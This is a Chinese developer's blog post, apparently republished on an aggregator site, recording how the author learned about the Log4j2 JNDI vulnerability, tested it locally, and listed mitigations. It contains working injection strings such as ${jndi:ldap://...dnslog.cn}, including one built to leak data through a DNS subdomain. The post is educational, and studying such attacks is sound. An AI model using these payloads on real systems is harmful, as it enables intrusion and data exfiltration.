IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 当我在围观log4j2漏洞时,我在想什么? -> 正文阅读

[网络协议]当我在围观log4j2漏洞时,我在想什么?

昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案,吐槽半夜被叫醒加班补漏洞,还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然,还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个dnslog.cn网站的dns记录截图。

img

作为一名纯粹的后端搬砖程序员,平日对安全领域真的是没啥涉猎。所以这个网站是干啥的?为啥有记录就证明百度、iCloud被攻击了?于是抱着学习的态度研究了一番,有了一丢丢的收获。

DNSLog网站是干啥的?

讲人话:DNSLog可以为你免费分配一个二级域名,并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时,自然会进行DNS解析,所以你就会在当前的页面查看到解析的记录。

比如我随机分配到了这个域名:7lqs4g.dnslog.cn

之后我请求这个域名,当然,什么都不会返回。但是在DNSLog的页面上,会显示域名解析记录,如图:

1

如何证实漏洞?

本次的log4j2漏洞,是通过构造一个${jndi:ldap://blabla.com}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://blabla.com进行请求。所以,如果能注入成功,则在请求网址的时候,会对blabla.com这个域名进行解析,并留下解析记录。

所以这就是为什么,用DNSLog网站的截图来证明,各大网站存在漏洞的原因。因为注入成功就会有记录呀。

于是在本地也感受一下。新建一个Spring Boot的Web项目,配置好我们这次的主角log4j2。

img

写一个简单的post请求的接口,里面的内容就是输出请求的信息。对这个接口进行正常的请求,输出如下:

img

之后我们在将请求构造成注入攻击的格式,带上我们新申请的二级域名:${jndi:ldap://gc46bp.dnslog.cn}。再发起一次请求,结果如图:
202112140001
img

可以看到,攻击生效了,回到DNSLog页面上刷新一下DNS解析记录,已经出现了。

img

漏洞解决

目前各大厂给出的方案有以下几个:

彻底解决方案

log4j升级到2.15.0版本

暂时解决方案

  • 修改log4j2配置:log4j2.formatMsgNolookups=True
  • 修改JVM参数 -Dlog4j2.formatMsgNoLookups=true

这个方案我尝试之后是可行的

img

平替方案

那就是不用log4j2啦,直接用logBack就好了哈哈哈哈。

因为自己的项目使用的是logback,所以这一整天就看别人在那升级版本上线了,全程吃瓜。

而且也因为Spring Boot是默认使用的logback,所以做测试的项目创建后忘了配置接入log4j2,测了几次发现没bug啊……尴尬。

DNSLog还能干啥

再说回到DNSLog。那这个网站就只是看一下DNS解析记录?并不是,其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名,这样信息就可以直接在DNS解析记录里看到了。

202112140002

设计一个蹩脚的漏洞来攻击

那么我们就可以结合刚才的知识,来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码:

img

然后我构造如下的入参,进行注入攻击:${jndi:ldap://{}.hbh9cz.dnslog.cn}

可以看到,实际上输出的日志变成:

img

再查看DNSLog的解析记录,可以看到我们要的信息已经带出来了。

img

好啦,以上就是这篇文章的全部内容了。仅仅是一个【没有接触过安全领域的后端搬砖码农】的【学习记录过程】,在各位大佬面前班门弄斧啦。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-12-15 18:40:09  更:2021-12-15 18:41:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年10日历 -2024/10/5 7:02:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码